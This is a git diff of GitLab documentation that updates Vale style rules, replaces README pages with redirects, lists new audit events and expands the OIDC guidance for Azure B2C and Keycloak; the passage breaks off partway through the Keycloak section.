diff --git a/doc/.markdownlint/markdownlint-no-trailing-spaces.yml b/doc/.markdownlint/markdownlint-no-trailing-spaces.yml
index 3d107a3e667..71903ae423d 100644
--- a/doc/.markdownlint/markdownlint-no-trailing-spaces.yml
+++ b/doc/.markdownlint/markdownlint-no-trailing-spaces.yml
@@ -1,3 +1,4 @@
+---
# Extended Markdown configuration to enforce no-trailing-spaces rule
"extends": "../../.markdownlint.yml"
"no-trailing-spaces": true
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml
index d7f5c750ec0..bc8f38fe5e2 100644
--- a/doc/.vale/gitlab/Acronyms.yml
+++ b/doc/.vale/gitlab/Acronyms.yml
@@ -102,6 +102,7 @@ exceptions:
- NFS
- NGINX
- NOTE
+ - NPM
- NTP
- ONLY
- OSS
@@ -119,6 +120,7 @@ exceptions:
- PUT
- RAID
- RAM
+ - RBAC
- RDP
- REST
- RFC
diff --git a/doc/.vale/gitlab/HeaderGerunds.yml b/doc/.vale/gitlab/HeaderGerunds.yml
new file mode 100644
index 00000000000..9e5fa19f867
--- /dev/null
+++ b/doc/.vale/gitlab/HeaderGerunds.yml
@@ -0,0 +1,14 @@
+---
+# Suggestion: gitlab.HeaderGerunds
+#
+# Checks for headers that start with gerunds (ing words).
+# Related to: https://docs.gitlab.com/ee/development/documentation/structure.html
+#
+# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
+extends: substitution
+message: 'Can this header start with an imperative verb, instead of a gerund (ing word)?'
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/#heading-titles
+level: suggestion
+scope: heading
+swap:
+ - '^\w*ing.*': 'Troubleshooting'
diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml
index b38427ace09..50ac97bc227 100644
--- a/doc/.vale/gitlab/SubstitutionWarning.yml
+++ b/doc/.vale/gitlab/SubstitutionWarning.yml
@@ -19,15 +19,6 @@ swap:
info: information
repo: repository
utilize: use
- owner access: the Owner role
- owner permission: the Owner role
- owner permissions: the Owner role
- maintainer access: the Maintainer role
- maintainer permission: the Maintainer role
- maintainer permissions: the Maintainer role
administrator access: the Administrator role
administrator permission: the Administrator role
administrator permissions: the Administrator role
- developer access: the Developer role
- developer permission: the Developer role
- developer permissions: the Developer role
diff --git a/doc/.vale/gitlab/Substitutions.yml b/doc/.vale/gitlab/Substitutions.yml
index 99d2eb1f11a..e6c150fb8be 100644
--- a/doc/.vale/gitlab/Substitutions.yml
+++ b/doc/.vale/gitlab/Substitutions.yml
@@ -38,3 +38,12 @@ swap:
can sign-in: can sign in
x509: X.509
yaml: YAML
+ developer access: the Developer role
+ developer permission: the Developer role
+ developer permissions: the Developer role
+ maintainer access: the Maintainer role
+ maintainer permission: the Maintainer role
+ maintainer permissions: the Maintainer role
+ owner access: the Owner role
+ owner permission: the Owner role
+ owner permissions: the Owner role
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index d465767049f..0520fd53c16 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -247,6 +247,7 @@ Helm
Heroku
Herokuish
Hexo
+HipChat
hostname
hostnames
hotfix
@@ -289,12 +290,14 @@ kanbans
kaniko
Karma
Kerberos
+Keycloak
keyset
keyspace
keytab
keytabs
Kibana
Kinesis
+Klar
Knative
Kramdown
Kroki
diff --git a/doc/README.md b/doc/README.md
index a56f17e3bf0..5ab8653dc35 100644
--- a/doc/README.md
+++ b/doc/README.md
@@ -1,126 +1,8 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-comments: false
-description: 'Learn how to use and administer GitLab, the most scalable Git-based fully integrated platform for software development.'
+redirect_to: 'index.md'
---
-<div class="d-none">
- <h3>Visit <a href="https://docs.gitlab.com/ee/">docs.gitlab.com</a> for the latest version
- of this help information with enhanced navigation, discoverability, and readability.</h3>
-</div>
-<!-- the div above will not display on the docs site but will display on /help -->
+This document was moved to [another location](index.md).
-# GitLab Docs
-
-Welcome to [GitLab](https://about.gitlab.com/) documentation.
-
-Here you can access the complete documentation for GitLab, the single application for the
-[entire DevOps lifecycle](#the-entire-devops-lifecycle).
-
-## Overview
-
-No matter how you use GitLab, we have documentation for you.
-
-| Essential documentation | Essential documentation |
-|:------------------------|:------------------------|
-| [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. |
-| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. |
-| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. |
-| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. |
-| [**Update GitLab**](update/index.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab reference architectures. |
-| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | |
-
-## Popular topics
-
-Have a look at some of our most popular topics:
-
-| Popular topic | Description |
-|:-------------------------------------------------------------------------------------------|:------------|
-| [Two-factor authentication](user/profile/account/two_factor_authentication.md) | Improve the security of your GitLab account. |
-| [GitLab groups](user/group/index.md) | Manage projects together. |
-| [GitLab CI/CD pipeline configuration reference](ci/yaml/README.md) | Available configuration options for `.gitlab-ci.yml` files. |
-| [Activate GitLab EE with a license](user/admin_area/license.md) | Activate GitLab Enterprise Edition functionality with a license. |
-| [Back up and restore GitLab](raketasks/backup_restore.md) | Rake tasks for backing up and restoring GitLab self-managed instances. |
-| [GitLab release and maintenance policy](policy/maintenance.md) | Policies for version naming and cadence, and also upgrade recommendations. |
-| [Elasticsearch integration](integration/elasticsearch.md) | Integrate Elasticsearch with GitLab to enable advanced searching. |
-| [Omnibus GitLab database settings](https://docs.gitlab.com/omnibus/settings/database.html) | Database settings for Omnibus GitLab self-managed instances. |
-| [Omnibus GitLab NGINX settings](https://docs.gitlab.com/omnibus/settings/nginx.html) | NGINX settings for Omnibus GitLab self-managed instances. |
-| [Omnibus GitLab SSL configuration](https://docs.gitlab.com/omnibus/settings/ssl.html) | SSL settings for Omnibus GitLab self-managed instances. |
-| [GitLab.com settings](user/gitlab_com/index.md) | Settings used for GitLab.com. |
-
-## The entire DevOps lifecycle
-
-GitLab is the first single application for software development, security,
-and operations that enables [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/).
-GitLab makes the software lifecycle faster and radically improves the speed of business.
-
-GitLab provides solutions for [each of the stages of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/).
-
-## New to Git and GitLab?
-
-Working with new systems can be daunting.
-
-We have the following documentation to rapidly uplift your GitLab knowledge:
-
-| Topic | Description |
-|:--------------------------------------------------------------------------------------------------|:------------|
-| [GitLab basics guides](gitlab-basics/index.md) | Start working on the command line and with GitLab. |
-| [GitLab workflow overview](https://about.gitlab.com/topics/version-control/what-is-gitlab-workflow/) | Enhance your workflow with the best of GitLab Workflow. |
-| [Get started with GitLab CI/CD](ci/quick_start/index.md) | Quickly implement GitLab CI/CD. |
-| [Auto DevOps](topics/autodevops/index.md) | Learn more about Auto DevOps in GitLab. |
-| [GitLab Markdown](user/markdown.md) | Advanced formatting system (GitLab Flavored Markdown). |
-
-### User account
-
-Learn more about GitLab account management:
-
-| Topic | Description |
-|:-----------------------------------------------------------|:------------|
-| [User account](user/profile/index.md) | Manage your account. |
-| [Authentication](topics/authentication/index.md) | Account security with two-factor authentication, set up your SSH keys, and deploy keys for secure access to your projects. |
-| [User settings](user/profile/index.md#access-your-user-settings) | Manage your user settings, two factor authentication, and more. |
-| [User permissions](user/permissions.md) | Learn what each role in a project can do. |
-
-### Git and GitLab
-
-Learn more about using Git, and using Git with GitLab:
-
-| Topic | Description |
-|:-----------------------------------------------------------------------------|:------------|
-| [Git](topics/git/index.md) | Getting started with Git, branching strategies, Git LFS, and advanced use. |
-| [Git cheat sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | Download a PDF describing the most used Git operations. |
-| [GitLab Flow](topics/gitlab_flow.md) | Explore the best of Git with the GitLab Flow strategy. |
-
-## Coming to GitLab from another platform
-
-If you are coming to GitLab from another platform, the following information is useful:
-
-| Topic | Description |
-|:----------------------------------------------------|:------------|
-| [Importing to GitLab](user/project/import/index.md) | Import your projects from GitHub, Bitbucket, GitLab.com, FogBugz, and SVN into GitLab. |
-| [Migrating from SVN](user/project/import/svn.md) | Convert a SVN repository to Git and GitLab. |
-
-## Build an integration with GitLab
-
-There are many ways to integrate with GitLab, including:
-
-| Topic | Description |
-|:-------------------------------------------|:------------|
-| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. |
-| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. |
-| [Integrations](integration/index.md) | Integrations with third-party products. |
-
-## Contributing to GitLab
-
-GitLab Community Edition is [open source](https://gitlab.com/gitlab-org/gitlab-foss/)
-and GitLab Enterprise Edition is [open-core](https://gitlab.com/gitlab-org/gitlab/).
-
-Learn how to contribute to GitLab with the following resources:
-
-| Topic | Description |
-|:------------------------------------------------------------|:------------|
-| [Development](development/README.md) | How to contribute to GitLab development. |
-| [Legal](legal/index.md) | Contributor license agreements. |
-| [Writing documentation](development/documentation/index.md) | How to contribute to GitLab Docs. |
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md
index f0c4d947668..7a871caf658 100644
--- a/doc/administration/audit_events.md
+++ b/doc/administration/audit_events.md
@@ -120,6 +120,9 @@ From there, you can see the following actions:
- Project access token was successfully created or revoked ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230007) in GitLab 13.9)
- Failed attempt to create or revoke a project access token ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230007) in GitLab 13.9)
- When default branch changes for a project ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/52339) in GitLab 13.9)
+- Created, updated, or deleted DAST profiles, DAST scanner profiles, and DAST site profiles
+ ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217872) in GitLab 14.1)
+- Changed a project's compliance framework ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/329362) in GitLab 14.1)
Project events can also be accessed via the [Project Audit Events API](../api/audit_events.md#project-audit-events).
@@ -161,6 +164,9 @@ The following user actions are recorded:
- Failed second-factor authentication attempt ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16826) in GitLab 13.5)
- A user's personal access token was successfully created or revoked ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276921) in GitLab 13.6)
- A failed attempt to create or revoke a user's personal access token ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276921) in GitLab 13.6)
+- Administrator added or removed ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/323905) in GitLab 14.1)
+- Removed SSH key ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220127) in GitLab 14.1)
+- Added or removed GPG key ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220127) in GitLab 14.1)
Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events).
@@ -188,7 +194,7 @@ on adding these events into GitLab:
Don't see the event you want in any of the epics linked above? You can use the **Audit Event
Proposal** issue template to
[create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Audit%20Event%20Proposal)
-to request it.
+to request it, or you can [add it yourself](../development/audit_event_guide/).
### Disabled events
diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md
index a072cc73c43..5ab8653dc35 100644
--- a/doc/administration/auth/README.md
+++ b/doc/administration/auth/README.md
@@ -1,52 +1,8 @@
---
-comments: false
-type: index
-stage: Manage
-group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'index.md'
---
-# GitLab authentication and authorization **(FREE SELF)**
+This document was moved to [another location](index.md).
-GitLab integrates with the following external authentication and authorization
-providers:
-
-- [Atlassian](atlassian.md)
-- [Auth0](../../integration/auth0.md)
-- [Authentiq](authentiq.md)
-- [AWS Cognito](cognito.md)
-- [Azure](../../integration/azure.md)
-- [Bitbucket Cloud](../../integration/bitbucket.md)
-- [CAS](../../integration/cas.md)
-- [Crowd](crowd.md)
-- [Facebook](../../integration/facebook.md)
-- [GitHub](../../integration/github.md)
-- [GitLab.com](../../integration/gitlab.md)
-- [Google OAuth](../../integration/google.md)
-- [JWT](jwt.md)
-- [Kerberos](../../integration/kerberos.md)
-- [LDAP](ldap/index.md): Includes Active Directory, Apple Open Directory, Open LDAP,
- and 389 Server.
- - [Google Secure LDAP](ldap/google_secure_ldap.md)
-- [Salesforce](../../integration/salesforce.md)
-- [SAML](../../integration/saml.md)
-- [SAML for GitLab.com groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)**
-- [Shibboleth](../../integration/shibboleth.md)
-- [Smartcard](smartcard.md) **(PREMIUM SELF)**
-- [Twitter](../../integration/twitter.md)
-
-NOTE:
-UltraAuth has removed their software which supports OmniAuth integration. We have therefore removed all references to UltraAuth integration.
-
-## SaaS vs Self-Managed Comparison
-
-The external authentication and authorization providers may support the following capabilities.
-For more information, see the links shown on this page for each external provider.
-
-| Capability | SaaS | Self-Managed |
-|-------------------------------------------------|-----------------------------------------|------------------------------------|
-| **User Provisioning** | SCIM<br>JIT Provisioning | LDAP Sync |
-| **User Detail Updating** (not group management) | Not Available | LDAP Sync |
-| **Authentication** | SAML at top-level group (1 provider) | LDAP (multiple providers)<br>Generic OAuth2<br>SAML (only 1 permitted per unique provider)<br>Kerberos<br>JWT<br>Smartcard<br>OmniAuth Providers (only 1 permitted per unique provider) |
-| **Provider-to-GitLab Role Sync** | SAML Group Sync | LDAP Group Sync |
-| **User Removal** | SCIM (remove user from top-level group) | LDAP (Blocking User from Instance) |
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md
index 365236748b9..b3892f8f5d9 100644
--- a/doc/administration/auth/atlassian.md
+++ b/doc/administration/auth/atlassian.md
@@ -11,7 +11,7 @@ To enable the Atlassian OmniAuth provider for passwordless authentication you mu
## Atlassian application registration
-1. Go to <https://developer.atlassian.com/apps/> and sign-in with the Atlassian
+1. Go to <https://developer.atlassian.com/console/myapps/> and sign-in with the Atlassian
account that will administer the application.
1. Click **Create a new app**.
diff --git a/doc/administration/auth/authentiq.md b/doc/administration/auth/authentiq.md
index 2eab4555c85..835293ff500 100644
--- a/doc/administration/auth/authentiq.md
+++ b/doc/administration/auth/authentiq.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
To enable the Authentiq OmniAuth provider for passwordless authentication you must register an application with Authentiq.
-Authentiq will generate a Client ID and the accompanying Client Secret for you to use.
+Authentiq generates a Client ID and the accompanying Client Secret for you to use.
1. Get your Client credentials (Client ID and Client Secret) at [Authentiq](https://www.authentiq.com/developers).
@@ -67,15 +67,17 @@ Authentiq will generate a Client ID and the accompanying Client Secret for you t
1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively.
-On the sign in page there should now be an Authentiq icon below the regular sign in form. Click the icon to begin the authentication process.
+On the sign in page there should now be an Authentiq icon below the regular sign in form. Click the
+icon to begin the authentication process. If the user:
-- If the user has the Authentiq ID app installed in their iOS or Android device, they can:
+- Has the Authentiq ID app installed in their iOS or Android device, they can:
1. Scan the QR code.
1. Decide what personal details to share.
1. Sign in to your GitLab installation.
-- If not they will be prompted to download the app and then follow the procedure above.
+- Does not have the app installed, they are prompted to download the app and then follow the
+ procedure above.
-If everything goes right, the user will be returned to GitLab and will be signed in.
+If everything works, the user is returned to GitLab and is signed in.
<!-- ## Troubleshooting
diff --git a/doc/administration/auth/index.md b/doc/administration/auth/index.md
new file mode 100644
index 00000000000..a072cc73c43
--- /dev/null
+++ b/doc/administration/auth/index.md
@@ -0,0 +1,52 @@
+---
+comments: false
+type: index
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab authentication and authorization **(FREE SELF)**
+
+GitLab integrates with the following external authentication and authorization
+providers:
+
+- [Atlassian](atlassian.md)
+- [Auth0](../../integration/auth0.md)
+- [Authentiq](authentiq.md)
+- [AWS Cognito](cognito.md)
+- [Azure](../../integration/azure.md)
+- [Bitbucket Cloud](../../integration/bitbucket.md)
+- [CAS](../../integration/cas.md)
+- [Crowd](crowd.md)
+- [Facebook](../../integration/facebook.md)
+- [GitHub](../../integration/github.md)
+- [GitLab.com](../../integration/gitlab.md)
+- [Google OAuth](../../integration/google.md)
+- [JWT](jwt.md)
+- [Kerberos](../../integration/kerberos.md)
+- [LDAP](ldap/index.md): Includes Active Directory, Apple Open Directory, Open LDAP,
+ and 389 Server.
+ - [Google Secure LDAP](ldap/google_secure_ldap.md)
+- [Salesforce](../../integration/salesforce.md)
+- [SAML](../../integration/saml.md)
+- [SAML for GitLab.com groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)**
+- [Shibboleth](../../integration/shibboleth.md)
+- [Smartcard](smartcard.md) **(PREMIUM SELF)**
+- [Twitter](../../integration/twitter.md)
+
+NOTE:
+UltraAuth has removed their software which supports OmniAuth integration. We have therefore removed all references to UltraAuth integration.
+
+## SaaS vs Self-Managed Comparison
+
+The external authentication and authorization providers may support the following capabilities.
+For more information, see the links shown on this page for each external provider.
+
+| Capability | SaaS | Self-Managed |
+|-------------------------------------------------|-----------------------------------------|------------------------------------|
+| **User Provisioning** | SCIM<br>JIT Provisioning | LDAP Sync |
+| **User Detail Updating** (not group management) | Not Available | LDAP Sync |
+| **Authentication** | SAML at top-level group (1 provider) | LDAP (multiple providers)<br>Generic OAuth2<br>SAML (only 1 permitted per unique provider)<br>Kerberos<br>JWT<br>Smartcard<br>OmniAuth Providers (only 1 permitted per unique provider) |
+| **Provider-to-GitLab Role Sync** | SAML Group Sync | LDAP Group Sync |
+| **User Removal** | SCIM (remove user from top-level group) | LDAP (Blocking User from Instance) |
diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md
index bc6a854c518..a9d59ca0983 100644
--- a/doc/administration/auth/ldap/index.md
+++ b/doc/administration/auth/ldap/index.md
@@ -174,6 +174,7 @@ production:
| `base` | Base where we can search for users. | **{check-circle}** Yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` |
| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | For examples, read [Examples of user filters](#examples-of-user-filters). |
| `lowercase_usernames` | If enabled, GitLab converts the name to lower case. | **{dotted-circle}** No | boolean |
+| `retry_empty_result_with_codes` | An array of LDAP query response code that will attempt to retrying the operation if the result/content is empty. | **{dotted-circle}** No | `[80]` |
#### Examples of user filters
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index 1215d90134f..5e6c3443e44 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -552,7 +552,7 @@ LDAP.
If the email has changed and the DN has not, GitLab finds the user with
the DN and update its own record of the user's email to match the one in LDAP.
-However, if the primary email _and_ the DN change in LDAP, then GitLab
+However, if the primary email _and_ the DN change in LDAP, then GitLab
has no way of identifying the correct LDAP record of the user and, as a
result, the user is blocked. To rectify this, the user's existing
profile must be updated with at least one of the new values (primary
diff --git a/doc/administration/auth/oidc.md b/doc/administration/auth/oidc.md
index 30ca7d94a1e..951c7df26ef 100644
--- a/doc/administration/auth/oidc.md
+++ b/doc/administration/auth/oidc.md
@@ -159,14 +159,14 @@ gitlab_rails['omniauth_providers'] = [
### Microsoft Azure
The OpenID Connect (OIDC) protocol for Microsoft Azure uses the [Microsoft identity platform (v2) endpoints](https://docs.microsoft.com/en-us/azure/active-directory/azuread-dev/azure-ad-endpoint-comparison).
-To get started, sign in to the [Azure Portal](https://portal.azure.com). For your app, you'll need the
+To get started, sign in to the [Azure Portal](https://portal.azure.com). For your app, you need the
following information:
- A tenant ID. You may already have one. For more information, review the
[Microsoft Azure Tenant](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-create-new-tenant) documentation.
- A client ID and a client secret. Follow the instructions in the
- [Microsoft Quickstart Register an Application](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app) documentation.
-to obtain the tenant ID, client ID, and client secret for your app.
+ [Microsoft Quickstart Register an Application](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app) documentation
+ to obtain the tenant ID, client ID, and client secret for your app.
Example Omnibus configuration block:
@@ -199,7 +199,7 @@ Microsoft has documented how its platform works with [the OIDC protocol](https:/
While GitLab works with [Azure Active Directory B2C](https://docs.microsoft.com/en-us/azure/active-directory-b2c/overview), it requires special
configuration to work. To get started, sign in to the [Azure Portal](https://portal.azure.com).
-For your app, you'll need the following information from Azure:
+For your app, you need the following information from Azure:
- A tenant ID. You may already have one. For more information, review the
[Microsoft Azure Tenant](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-create-new-tenant) documentation.
@@ -216,8 +216,8 @@ In addition, ensure that [ID tokens are enabled](https://docs.microsoft.com/en-u
Add the following API permissions to the app:
-1. `openid`
-1. `offline_access`
+- `openid`
+- `offline_access`
#### Configure custom policies
@@ -231,7 +231,7 @@ standard Azure B2C user flows [do not send the OpenID `email` claim](https://git
other words, they do not work with the [`allow_single_sign_on` or `auto_link_user`
parameters](../../integration/omniauth.md#initial-omniauth-configuration).
With a standard Azure B2C policy, GitLab cannot create a new account or
-link to an existing one with an e-mail address.
+link to an existing one with an email address.
Carefully follow the instructions for [creating a custom policy](https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-user-flows?pivots=b2c-custom-policy).
@@ -240,42 +240,42 @@ but `LocalAccounts` works for authenticating against local, Active Directory acc
1. To export the `email` claim, modify the `SignUpOrSignin.xml`. Replace the following line:
- ```xml
- <OutputClaim ClaimTypeReferenceId="email" />
- ```
+ ```xml
+ <OutputClaim ClaimTypeReferenceId="email" />
+ ```
- with:
+ with:
- ```xml
- <OutputClaim ClaimTypeReferenceId="signInNames.emailAddress" PartnerClaimType="email" />
- ```
+ ```xml
+ <OutputClaim ClaimTypeReferenceId="signInNames.emailAddress" PartnerClaimType="email" />
+ ```
1. For OIDC discovery to work with B2C, the policy must be configured with an issuer compatible with the [OIDC
-specification](https://openid.net/specs/openid-connect-discovery-1_0.html#rfc.section.4.3).
-See the [token compatibility settings](https://docs.microsoft.com/en-us/azure/active-directory-b2c/configure-tokens?pivots=b2c-custom-policy#token-compatibility-settings).
-In `TrustFrameworkBase.xml` under `JwtIssuer`, set `IssuanceClaimPattern` to `AuthorityWithTfp`:
-
- ```xml
- <ClaimsProvider>
- <DisplayName>Token Issuer</DisplayName>
- <TechnicalProfiles>
- <TechnicalProfile Id="JwtIssuer">
- <DisplayName>JWT Issuer</DisplayName>
- <Protocol Name="None" />
- <OutputTokenFormat>JWT</OutputTokenFormat>
- <Metadata>
- <Item Key="IssuanceClaimPattern">AuthorityWithTfp</Item>
- ...
- ```
+ specification](https://openid.net/specs/openid-connect-discovery-1_0.html#rfc.section.4.3).
+ See the [token compatibility settings](https://docs.microsoft.com/en-us/azure/active-directory-b2c/configure-tokens?pivots=b2c-custom-policy#token-compatibility-settings).
+ In `TrustFrameworkBase.xml` under `JwtIssuer`, set `IssuanceClaimPattern` to `AuthorityWithTfp`:
+
+ ```xml
+ <ClaimsProvider>
+ <DisplayName>Token Issuer</DisplayName>
+ <TechnicalProfiles>
+ <TechnicalProfile Id="JwtIssuer">
+ <DisplayName>JWT Issuer</DisplayName>
+ <Protocol Name="None" />
+ <OutputTokenFormat>JWT</OutputTokenFormat>
+ <Metadata>
+ <Item Key="IssuanceClaimPattern">AuthorityWithTfp</Item>
+ ...
+ ```
1. Now [upload the policy](https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-user-flows?pivots=b2c-custom-policy#upload-the-policies). Overwrite
-the existing files if you are updating an existing policy.
+ the existing files if you are updating an existing policy.
-1. Determine the issuer URL using the sign-in policy. The issuer URL will be in the form:
+1. Determine the issuer URL using the sign-in policy. The issuer URL is in the form:
- ```markdown
- https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/<YOUR-SIGN-IN-POLICY-NAME>/v2.0/
- ```
+ ```markdown
+ https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/<YOUR-SIGN-IN-POLICY-NAME>/v2.0/
+ ```
The policy name is lowercased in the URL. For example, `B2C_1A_signup_signin`
policy appears as `b2c_1a_signup_sigin`.
@@ -283,63 +283,183 @@ the existing files if you are updating an existing policy.
Note that the trailing forward slash is required.
1. Verify the operation of the OIDC discovery URL and issuer URL, append `.well-known/openid-configuration`
-to the issuer URL:
+ to the issuer URL:
+
+ ```markdown
+ https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/<YOUR-SIGN-IN-POLICY-NAME>/v2.0/.well-known/openid-configuration
+ ```
+
+ For example, if `domain` is `example.b2clogin.com` and tenant ID is
+ `fc40c736-476c-4da1-b489-ee48cee84386`, you can use `curl` and `jq` to extract the issuer:
+
+ ```shell
+ $ curl --silent "https://example.b2clogin.com/tfp/fc40c736-476c-4da1-b489-ee48cee84386/b2c_1a_signup_signin/v2.0/.well-known/openid-configuration" | jq .issuer
+ "https://example.b2clogin.com/tfp/fc40c736-476c-4da1-b489-ee48cee84386/b2c_1a_signup_signin/v2.0/"
+ ```
+
+1. Configure the issuer URL with the custom policy used for `signup_signin`. For example, this is
+ the Omnibus configuration with a custom policy for `b2c_1a_signup_signin`:
+
+ ```ruby
+ gitlab_rails['omniauth_providers'] = [
+ {
+ 'name' => 'openid_connect',
+ 'label' => 'Azure B2C OIDC',
+ 'args' => {
+ 'name' => 'openid_connect',
+ 'scope' => ['openid'],
+ 'response_mode' => 'query',
+ 'response_type' => 'id_token',
+ 'issuer' => 'https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/b2c_1a_signup_signin/v2.0/',
+ 'client_auth_method' => 'query',
+ 'discovery' => true,
+ 'send_scope_to_token_endpoint' => true,
+ 'client_options' => {
+ 'identifier' => '<YOUR APP CLIENT ID>',
+ 'secret' => '<YOUR APP CLIENT SECRET>',
+ 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ }
+ }
+ }]
+ ```
+
+#### Troubleshooting Azure B2C
- ```markdown
- https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/<YOUR-SIGN-IN-POLICY-NAME>/v2.0/.well-known/openid-configuration
- ```
+- Ensure all occurrences of `yourtenant.onmicrosoft.com`, `ProxyIdentityExperienceFrameworkAppId`, and `IdentityExperienceFrameworkAppId` match your B2C tenant hostname and
+ the respective client IDs in the XML policy files.
+- Add `https://jwt.ms` as a redirect URI to the app, and use the [custom policy tester](https://docs.microsoft.com/en-us/azure/active-directory-b2c/tutorial-create-user-flows?pivots=b2c-custom-policy#test-the-custom-policy).
+ Make sure the payload includes `email` that matches the user's email access.
+- After you enable the custom policy, users might see "Invalid username or password" after they try to sign in. This might be a configuration
+ issue with the `IdentityExperienceFramework` app. See [this Microsoft comment](https://docs.microsoft.com/en-us/answers/questions/50355/unable-to-sign-on-using-custom-policy.html?childToView=122370#comment-122370)
+ that suggests checking that the app manifest contains these settings:
+
+ - `"accessTokenAcceptedVersion": null`
+ - `"signInAudience": "AzureADMyOrg"`
+
+ Note that this configuration corresponds with the `Supported account types` setting used when
+ creating the `IdentityExperienceFramework` app.
+
+#### Keycloak
- For example, if `domain` is `example.b2clogin.com` and tenant ID is `fc40c736-476c-4da1-b489-ee48cee84386`, you can use `curl` and `jq` to
-extract the issuer:
+GitLab works with OpenID providers that use HTTPS. Although a Keycloak
+server can be set up using HTTP, GitLab can only communicate
+with a Keycloak server that uses HTTPS.
- ```shell
- $ curl --silent "https://example.b2clogin.com/tfp/fc40c736-476c-4da1-b489-ee48cee84386/b2c_1a_signup_signin/v2.0/.well-known/openid-configuration" | jq .issuer
- "https://example.b2clogin.com/tfp/fc40c736-476c-4da1-b489-ee48cee84386/b2c_1a_signup_signin/v2.0/"
- ```
+We highly recommend configuring Keycloak to use public key encryption algorithms (for example,
+RSA256, RSA512, and so on) instead of symmetric key encryption algorithms (for example, HS256 or HS358) to
+sign tokens. Public key encryption algorithms are:
-1. Configure the issuer URL with the custom policy used for
-`signup_signin`. For example, this is the Omnibus configuration with a
-custom policy for `b2c_1a_signup_signin`:
+- Easier to configure.
+- More secure because leaking the private key has severe security consequences.
+
+The signature algorithm can be configured in the Keycloak administration console under
